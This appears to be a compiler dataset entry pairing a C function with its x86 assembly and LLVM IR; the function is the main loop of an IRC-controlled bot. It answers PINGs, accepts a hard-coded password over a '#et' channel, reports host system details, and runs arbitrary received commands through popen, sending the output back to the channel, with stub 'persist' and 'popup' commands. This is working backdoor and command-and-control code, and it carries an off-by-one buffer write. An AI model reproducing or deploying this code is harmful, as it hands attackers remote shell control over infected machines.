#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct utsname {
  char *sysname;
  char *nodename;
  char *release;
  char *version;
  char *machine;
};
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ fread(void *, int, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ memset(char *, int /*<<< orphan*/, int);
int /*<<< orphan*/ pclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *popen(char *, char *);
int /*<<< orphan*/ recv(int, char *, int, int /*<<< orphan*/);
int /*<<< orphan*/ send(int, char *, int, int /*<<< orphan*/);
int /*<<< orphan*/ snprintf(char *, int, char *, char *, ...);
int /*<<< orphan*/ strcmp(char *, char *);
int strlen(char *);
char *strrchr(char *, char);
char *strstr(char *, char *);
char *strtok(char *, char *);
int /*<<< orphan*/ uname(struct utsname *);
void et_main_loop_nix(int socket, char *nick) {
  char message[512];
  char buf[1024];
  bool auth = false;
  while (1) {
    memset(message, 0, 512);
    memset(buf, 0, 1024);
    recv(socket, buf, 1023, 0);
    buf[1024] = '\0';
    char *ping;
    if ((ping = strstr(buf, "PING")) && !(strstr(buf, "CASEMAPPING"))) {
      snprintf(message, 512, "PONG :%s\r\n", "irc.woodruffw.us");
      send(socket, message, strlen(message), 0);
    } else if (strstr(buf, "PRIVMSG") && strstr(buf, nick)) {
      char *line = strtok(buf, "\r\n");
      char *cmd = strrchr(line, ':');
      cmd++;
      if (strstr(cmd, "auth") && !(strstr(cmd, "deauth"))) {
        cmd += 5;
        if (!strcmp(cmd, "et-phone-home")) {
          auth = true;
          snprintf(message, 512,
                   "PRIVMSG %s :Successfully authorized. %s listening.\r\n",
                   "#et", nick);
          send(socket, message, strlen(message), 0);
        } else {
          snprintf(message, 512,
                   "PRIVMSG %s :Authorization failed, password incorrect.\r\n",
                   "#et");
          send(socket, message, strlen(message), 0);
        }
      } else {
        if (!auth) {
          snprintf(message, 512,
                   "PRIVMSG %s :Not authorized to command. Please auth.\r\n",
                   "#et");
          send(socket, message, strlen(message), 0);
        } else {
          if (!strcmp(cmd, "kill")) {
            break;
          } else if (!strcmp(cmd, "deauth")) {
            snprintf(message, 512,
                     "PRIVMSG %s :%s deauthorized. Reauth to control.\r\n",
                     "#et", nick);
            send(socket, message, strlen(message), 0);
            auth = false;
          } else if (!strcmp(cmd, "info")) {
            struct utsname sys_info;
            uname(&sys_info);
            snprintf(message, 512, "PRIVMSG %s :Kernel: %s\r\n", "#et",
                     sys_info.sysname);
            send(socket, message, strlen(message), 0);
            memset(message, 0, 512);
            snprintf(message, 512, "PRIVMSG %s :Host: %s\r\n", "#et",
                     sys_info.nodename);
            send(socket, message, strlen(message), 0);
            memset(message, 0, 512);
            snprintf(message, 512, "PRIVMSG %s :Release: %s\r\n", "#et",
                     sys_info.release);
            send(socket, message, strlen(message), 0);
            memset(message, 0, 512);
            snprintf(message, 512, "PRIVMSG %s :Version: %s\r\n", "#et",
                     sys_info.version);
            send(socket, message, strlen(message), 0);
            memset(message, 0, 512);
            snprintf(message, 512, "PRIVMSG %s :Arch: %s\r\n", "#et",
                     sys_info.machine);
            send(socket, message, strlen(message), 0);
            memset(message, 0, 512);
          } else if (strstr(cmd, "popup")) {
            snprintf(message, 512,
                     "PRIVMSG %s :%s is nix and cannot create popups.\r\n",
                     "#et", nick);
            send(socket, message, strlen(message), 0);
          } else if (!strcmp(cmd, "persist")) {
            snprintf(message, 512,
                     "PRIVMSG %s :%s is nix and cannot persist.\r\n", "#et",
                     nick);
            send(socket, message, strlen(message), 0);
          } else if (!strcmp(cmd, "depersist")) {
            snprintf(message, 512,
                     "PRIVMSG %s :%s is nix and cannot depersist.\r\n", "#et",
                     nick);
            send(socket, message, strlen(message), 0);
          } else {
            char cmd_output[512];
            FILE *output_file = popen(cmd, "r");
            fread((void *)cmd_output, 1, 512, output_file);
            int i;
            for (i = 0; cmd_output[i]; i++) {
              if (cmd_output[i] == '\n') {
                cmd_output[i] = ' ';
              }
            }
            if (strlen(cmd_output) >= 500) {
              snprintf(message, 512,
                       "PRIVMSG %s :Command output too large to send.\r\n",
                       "#et");
            } else {
              snprintf(message, 512, "PRIVMSG %s :%s\r\n", "#et", cmd_output);
            }
            send(socket, message, strlen(message), 0);
            pclose(output_file);
            memset(cmd_output, 0, 512);
          }
        }
      }
    }
  }
}


x86 assembly (clang, -O0):
<et_main_loop_nix>:
push   %rbp
mov    %rsp,%rbp
sub    $0x950,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x614(%rbp)
lea    -0x210(%rbp),%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
lea    -0x610(%rbp),%rdi
xor    %esi,%esi
mov    $0x400,%edx
call   10b0 <memset@plt>
mov    -0x4(%rbp),%edi
lea    -0x610(%rbp),%rsi
mov    $0x3ff,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
movb   $0x0,-0x210(%rbp)
lea    -0x610(%rbp),%rdi
lea    0xdca(%rip),%rsi
call   10f0 <strstr@plt>
mov    %rax,-0x620(%rbp)
cmp    $0x0,%rax
je     12cf <et_main_loop_nix+0xff>
lea    -0x610(%rbp),%rdi
lea    0xd9f(%rip),%rsi
call   10f0 <strstr@plt>
cmp    $0x0,%rax
jne    12cf <et_main_loop_nix+0xff>
lea    -0x210(%rbp),%rdi
mov    $0x200,%esi
lea    0xd89(%rip),%rdx
lea    0xd8d(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x87c(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x878(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x87c(%rbp),%edi
mov    -0x878(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    1b03 <et_main_loop_nix+0x933>
lea    -0x610(%rbp),%rdi
lea    0xd4b(%rip),%rsi
call   10f0 <strstr@plt>
cmp    $0x0,%rax
je     1afe <et_main_loop_nix+0x92e>
lea    -0x610(%rbp),%rdi
mov    -0x10(%rbp),%rsi
call   10f0 <strstr@plt>
cmp    $0x0,%rax
je     1afe <et_main_loop_nix+0x92e>
lea    -0x610(%rbp),%rdi
lea    0xf5a(%rip),%rsi
call   10e0 <strtok@plt>
mov    %rax,-0x628(%rbp)
mov    -0x628(%rbp),%rdi
mov    $0x3a,%esi
call   1090 <strrchr@plt>
mov    %rax,-0x630(%rbp)
mov    -0x630(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x630(%rbp)
mov    -0x630(%rbp),%rdi
lea    0xcda(%rip),%rsi
call   10f0 <strstr@plt>
cmp    $0x0,%rax
je     147e <et_main_loop_nix+0x2ae>
mov    -0x630(%rbp),%rdi
lea    0xcbb(%rip),%rsi
call   10f0 <strstr@plt>
cmp    $0x0,%rax
jne    147e <et_main_loop_nix+0x2ae>
mov    -0x630(%rbp),%rax
add    $0x5,%rax
mov    %rax,-0x630(%rbp)
mov    -0x630(%rbp),%rdi
lea    0xc93(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%eax
jne    141f <et_main_loop_nix+0x24f>
movl   $0x1,-0x614(%rbp)
lea    -0x210(%rbp),%rdi
mov    -0x10(%rbp),%r8
mov    $0x200,%esi
lea    0xc72(%rip),%rdx
lea    0xca0(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x88c(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x888(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x88c(%rbp),%edi
mov    -0x888(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    1479 <et_main_loop_nix+0x2a9>
lea    -0x210(%rbp),%rdi
mov    $0x200,%esi
lea    0xc4c(%rip),%rdx
lea    0xc41(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x89c(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x898(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x89c(%rbp),%edi
mov    -0x898(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    1af9 <et_main_loop_nix+0x929>
cmpl   $0x0,-0x614(%rbp)
jne    14ea <et_main_loop_nix+0x31a>
lea    -0x210(%rbp),%rdi
mov    $0x200,%esi
lea    0xc18(%rip),%rdx
lea    0xbd5(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x8ac(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x8a8(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x8ac(%rbp),%edi
mov    -0x8a8(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    1af4 <et_main_loop_nix+0x924>
mov    -0x630(%rbp),%rdi
lea    0xbf4(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%eax
jne    150b <et_main_loop_nix+0x33b>
jmp    1b08 <et_main_loop_nix+0x938>
mov    -0x630(%rbp),%rdi
lea    0xb17(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%eax
jne    1594 <et_main_loop_nix+0x3c4>
lea    -0x210(%rbp),%rdi
mov    -0x10(%rbp),%r8
mov    $0x200,%esi
lea    0xbb3(%rip),%rdx
lea    0xb35(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x8bc(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x8b8(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x8bc(%rbp),%edi
mov    -0x8b8(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
movl   $0x0,-0x614(%rbp)
jmp    1aea <et_main_loop_nix+0x91a>
mov    -0x630(%rbp),%rdi
lea    0xb81(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%eax
jne    1805 <et_main_loop_nix+0x635>
lea    -0x658(%rbp),%rdi
call   10a0 <uname@plt>
lea    -0x210(%rbp),%rdi
mov    -0x658(%rbp),%r8
mov    $0x200,%esi
lea    0xb52(%rip),%rdx
lea    0xa9d(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x90c(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x908(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x90c(%rbp),%edi
mov    -0x908(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
lea    -0x210(%rbp),%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
lea    -0x210(%rbp),%rdi
mov    -0x650(%rbp),%r8
mov    $0x200,%esi
lea    0xaf7(%rip),%rdx
lea    0xa29(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x8fc(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x8f8(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x8fc(%rbp),%edi
mov    -0x8f8(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
lea    -0x210(%rbp),%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
lea    -0x210(%rbp),%rdi
mov    -0x648(%rbp),%r8
mov    $0x200,%esi
lea    0xa9a(%rip),%rdx
lea    0x9b5(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x8ec(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x8e8(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x8ec(%rbp),%edi
mov    -0x8e8(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
lea    -0x210(%rbp),%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
lea    -0x210(%rbp),%rdi
mov    -0x640(%rbp),%r8
mov    $0x200,%esi
lea    0xa40(%rip),%rdx
lea    0x941(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x8dc(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x8d8(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x8dc(%rbp),%edi
mov    -0x8d8(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
lea    -0x210(%rbp),%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
lea    -0x210(%rbp),%rdi
mov    -0x638(%rbp),%r8
mov    $0x200,%esi
lea    0x9e6(%rip),%rdx
lea    0x8cd(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x8cc(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x8c8(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x8cc(%rbp),%edi
mov    -0x8c8(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
lea    -0x210(%rbp),%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
jmp    1ae5 <et_main_loop_nix+0x915>
mov    -0x630(%rbp),%rdi
lea    0x990(%rip),%rsi
call   10f0 <strstr@plt>
cmp    $0x0,%rax
je     1885 <et_main_loop_nix+0x6b5>
lea    -0x210(%rbp),%rdi
mov    -0x10(%rbp),%r8
mov    $0x200,%esi
lea    0x970(%rip),%rdx
lea    0x83a(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x91c(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x918(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x91c(%rbp),%edi
mov    -0x918(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    1ae0 <et_main_loop_nix+0x910>
mov    -0x630(%rbp),%rdi
lea    0x976(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%eax
jne    1904 <et_main_loop_nix+0x734>
lea    -0x210(%rbp),%rdi
mov    -0x10(%rbp),%r8
mov    $0x200,%esi
lea    0x923(%rip),%rdx
lea    0x7bb(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x92c(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x928(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x92c(%rbp),%edi
mov    -0x928(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    1adb <et_main_loop_nix+0x90b>
mov    -0x630(%rbp),%rdi
lea    0x8f5(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%eax
jne    1983 <et_main_loop_nix+0x7b3>
lea    -0x210(%rbp),%rdi
mov    -0x10(%rbp),%r8
mov    $0x200,%esi
lea    0x8da(%rip),%rdx
lea    0x73c(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x93c(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x938(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x93c(%rbp),%edi
mov    -0x938(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    1ad6 <et_main_loop_nix+0x906>
mov    -0x630(%rbp),%rdi
lea    0x8ae(%rip),%rsi
call   10d0 <popen@plt>
mov    %rax,-0x868(%rbp)
lea    -0x860(%rbp),%rdi
mov    -0x868(%rbp),%rcx
mov    $0x1,%esi
mov    $0x200,%edx
call   1040 <fread@plt>
movl   $0x0,-0x86c(%rbp)
movslq -0x86c(%rbp),%rax
cmpb   $0x0,-0x860(%rbp,%rax,1)
je     1a19 <et_main_loop_nix+0x849>
movslq -0x86c(%rbp),%rax
movsbl -0x860(%rbp,%rax,1),%eax
ff
cmp    $0xa,%eax
jne    1a00 <et_main_loop_nix+0x830>
movslq -0x86c(%rbp),%rax
movb   $0x20,-0x860(%rbp,%rax,1)
20
jmp    1a05 <et_main_loop_nix+0x835>
mov    -0x86c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x86c(%rbp)
jmp    19c4 <et_main_loop_nix+0x7f4>
lea    -0x860(%rbp),%rdi
call   1050 <strlen@plt>
cmp    $0x1f4,%eax
jl     1a56 <et_main_loop_nix+0x886>
lea    -0x210(%rbp),%rdi
mov    $0x200,%esi
lea    0x7fe(%rip),%rdx
lea    0x630(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
jmp    1a7e <et_main_loop_nix+0x8ae>
lea    -0x210(%rbp),%rdi
lea    -0x860(%rbp),%r8
mov    $0x200,%esi
lea    0x801(%rip),%rdx
lea    0x603(%rip),%rcx
mov    $0x0,%al
call   1080 <snprintf@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0x94c(%rbp)
lea    -0x210(%rbp),%rax
mov    %rax,-0x948(%rbp)
lea    -0x210(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x94c(%rbp),%edi
mov    -0x948(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    -0x868(%rbp),%rdi
call   1070 <pclose@plt>
lea    -0x860(%rbp),%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
jmp    1adb <et_main_loop_nix+0x90b>
jmp    1ae0 <et_main_loop_nix+0x910>
jmp    1ae5 <et_main_loop_nix+0x915>
jmp    1aea <et_main_loop_nix+0x91a>
jmp    1aef <et_main_loop_nix+0x91f>
jmp    1af4 <et_main_loop_nix+0x924>
jmp    1af9 <et_main_loop_nix+0x929>
jmp    1afe <et_main_loop_nix+0x92e>
jmp    1b03 <et_main_loop_nix+0x933>
jmp    11ec <et_main_loop_nix+0x1c>
add    $0x950,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<et_main_loop_nix>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x818,%rsp
mov    %rsi,%r13
mov    %edi,%r14d
lea    0x610(%rsp),%r12
lea    0x210(%rsp),%r15
lea    0xe09(%rip),%rbx
lea    0xe23(%rip),%rbp
movl   $0x0,0x8(%rsp)
mov    %edi,0x4(%rsp)
jmp    1254 <et_main_loop_nix+0x84>
cs nopw 0x0(%rax,%rax,1)
nopl   (%rax)
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xddd(%rip),%rdx
lea    0xde1(%rip),%rcx
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %r12,%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
mov    %r15,%rdi
xor    %esi,%esi
mov    $0x400,%edx
call   10b0 <memset@plt>
mov    %r14d,%edi
mov    %r15,%rsi
mov    $0x3ff,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
movb   $0x0,0x610(%rsp)
mov    %r15,%rdi
mov    %rbx,%rsi
call   10f0 <strstr@plt>
test   %rax,%rax
je     12b4 <et_main_loop_nix+0xe4>
mov    %r15,%rdi
lea    0xd5a(%rip),%rsi
call   10f0 <strstr@plt>
test   %rax,%rax
je     1220 <et_main_loop_nix+0x50>
mov    %r15,%rdi
mov    %rbp,%rsi
call   10f0 <strstr@plt>
test   %rax,%rax
je     1254 <et_main_loop_nix+0x84>
mov    %r15,%rdi
mov    %r13,%rsi
call   10f0 <strstr@plt>
test   %rax,%rax
je     1254 <et_main_loop_nix+0x84>
mov    %r12,%r14
mov    %r13,%rbp
mov    %r15,%rdi
lea    0xf8a(%rip),%rsi
call   10e0 <strtok@plt>
mov    %rax,%rdi
mov    $0x3a,%esi
call   1090 <strrchr@plt>
mov    %rax,%r12
lea    0x1(%rax),%r13
mov    %r13,%rdi
lea    0xd2b(%rip),%rsi
call   10f0 <strstr@plt>
test   %rax,%rax
je     1329 <et_main_loop_nix+0x159>
mov    %r13,%rdi
lea    0xd15(%rip),%rsi
call   10f0 <strstr@plt>
test   %rax,%rax
je     13e5 <et_main_loop_nix+0x215>
cmpl   $0x0,0x8(%rsp)
je     13c9 <et_main_loop_nix+0x1f9>
mov    %r13,%rdi
lea    0xdae(%rip),%rsi
call   10c0 <strcmp@plt>
test   %eax,%eax
je     177a <et_main_loop_nix+0x5aa>
mov    %r14,%r12
mov    %r13,%rdi
lea    0xcd8(%rip),%rsi
call   10c0 <strcmp@plt>
test   %eax,%eax
je     1441 <et_main_loop_nix+0x271>
mov    %r13,%rdi
lea    0xdb4(%rip),%rsi
call   10c0 <strcmp@plt>
test   %eax,%eax
je     1494 <et_main_loop_nix+0x2c4>
mov    %r13,%rdi
lea    0xe1d(%rip),%rsi
call   10f0 <strstr@plt>
test   %rax,%rax
mov    0x4(%rsp),%r14d
je     1660 <et_main_loop_nix+0x490>
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xe01(%rip),%rdx
lea    0xccb(%rip),%rcx
mov    %rbp,%r13
mov    %rbp,%r8
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
jmp    163d <et_main_loop_nix+0x46d>
movl   $0x0,0x8(%rsp)
mov    %r14,%r12
mov    %r14,%rdi
mov    $0x200,%esi
lea    0xcd3(%rip),%rdx
jmp    1412 <et_main_loop_nix+0x242>
add    $0x6,%r12
mov    %r12,%rdi
lea    0xc44(%rip),%rsi
call   10c0 <strcmp@plt>
mov    %r14,%r12
mov    %r14,%rdi
mov    $0x200,%esi
test   %eax,%eax
je     1615 <et_main_loop_nix+0x445>
lea    0xc6c(%rip),%rdx
lea    0xc61(%rip),%rcx
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r14,%rdi
call   1050 <strlen@plt>
mov    0x4(%rsp),%r14d
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    1606 <et_main_loop_nix+0x436>
movl   $0x0,0x8(%rsp)
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xc99(%rip),%rdx
lea    0xc1b(%rip),%rcx
mov    %rbp,%r13
mov    %rbp,%r8
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    0x4(%rsp),%r14d
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
lea    0xb99(%rip),%rbp
jmp    1254 <et_main_loop_nix+0x84>
lea    0x10(%rsp),%rdi
call   10a0 <uname@plt>
mov    0x10(%rsp),%r8
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xc76(%rip),%rdx
lea    0xbc1(%rip),%r13
mov    %r13,%rcx
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    0x4(%rsp),%r14d
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %r12,%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
mov    0x18(%rsp),%r8
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xc3f(%rip),%rdx
mov    %r13,%rcx
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %r12,%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
mov    0x20(%rsp),%r8
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xc12(%rip),%rdx
mov    %r13,%rcx
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %r12,%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
mov    0x28(%rsp),%r8
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xbe8(%rip),%rdx
mov    %r13,%rcx
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %r12,%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
mov    0x30(%rsp),%r8
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xbbe(%rip),%rdx
mov    %r13,%rcx
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %r12,%rdi
xor    %esi,%esi
mov    $0x200,%edx
call   10b0 <memset@plt>
movl   $0x1,0x8(%rsp)
mov    %rbp,%r13
lea    0xa18(%rip),%rbp
jmp    1254 <et_main_loop_nix+0x84>
lea    0xa29(%rip),%rdx
lea    0xa57(%rip),%rcx
mov    %rbp,%r13
mov    %rbp,%r8
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r14,%rdi
call   1050 <strlen@plt>
mov    0x4(%rsp),%r14d
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
movl   $0x1,0x8(%rsp)
lea    0x9cd(%rip),%rbp
jmp    1254 <et_main_loop_nix+0x84>
mov    %r13,%rdi
lea    0xb9f(%rip),%rsi
call   10c0 <strcmp@plt>
test   %eax,%eax
je     1711 <et_main_loop_nix+0x541>
mov    %r13,%rdi
lea    0xb86(%rip),%rsi
call   10c0 <strcmp@plt>
test   %eax,%eax
je     1725 <et_main_loop_nix+0x555>
mov    %r13,%rdi
lea    0xba7(%rip),%rsi
call   10d0 <popen@plt>
lea    0x10(%rsp),%r13
mov    %r13,%rdi
mov    $0x1,%esi
mov    $0x200,%edx
mov    %rax,0x8(%rsp)
mov    %rax,%rcx
call   1040 <fread@plt>
mov    %r13,%rax
jmp    16d7 <et_main_loop_nix+0x507>
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
movb   $0x20,(%rax)
add    $0x1,%rax
movzbl (%rax),%ecx
cmp    $0xa,%cl
je     16d0 <et_main_loop_nix+0x500>
test   %cl,%cl
jne    16d3 <et_main_loop_nix+0x503>
mov    %r13,%rdi
call   1050 <strlen@plt>
mov    %r12,%rdi
mov    $0x200,%esi
cmp    $0x1f4,%eax
jl     1739 <et_main_loop_nix+0x569>
lea    0xb40(%rip),%rdx
lea    0x972(%rip),%rcx
xor    %eax,%eax
call   1080 <snprintf@plt>
jmp    1751 <et_main_loop_nix+0x581>
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xabb(%rip),%rdx
jmp    13a8 <et_main_loop_nix+0x1d8>
mov    %r12,%rdi
mov    $0x200,%esi
lea    0xadd(%rip),%rdx
jmp    13a8 <et_main_loop_nix+0x1d8>
lea    0xb31(%rip),%rdx
lea    0x933(%rip),%rcx
mov    %r13,%r8
xor    %eax,%eax
call   1080 <snprintf@plt>
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %r14d,%edi
mov    %r12,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    0x8(%rsp),%rdi
call   1070 <pclose@plt>
mov    %r13,%rdi
jmp    15f2 <et_main_loop_nix+0x422>
add    $0x818,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.utsname = type { i8*, i8*, i8*, i8*, i8* }
@.str = [5 x i8] c"PING\00"
@.str.1 = [12 x i8] c"CASEMAPPING\00"
@.str.2 = [11 x i8] c"PONG :%s\0D\0A\00"
@.str.3 = [17 x i8] c"irc.woodruffw.us\00"
@.str.4 = [8 x i8] c"PRIVMSG\00"
@.str.5 = [3 x i8] c"\0D\0A\00"
@.str.6 = [5 x i8] c"auth\00"
@.str.7 = [7 x i8] c"deauth\00"
@.str.8 = [14 x i8] c"et-phone-home\00"
@.str.9 = [53 x i8] c"PRIVMSG %s :Successfully authorized. %s listening.\0D\0A\00"
@.str.10 = [4 x i8] c"#et\00"
@.str.11 = [56 x i8] c"PRIVMSG %s :Authorization failed, password incorrect.\0D\0A\00"
@.str.12 = [54 x i8] c"PRIVMSG %s :Not authorized to command. Please auth.\0D\0A\00"
@.str.13 = [5 x i8] c"kill\00"
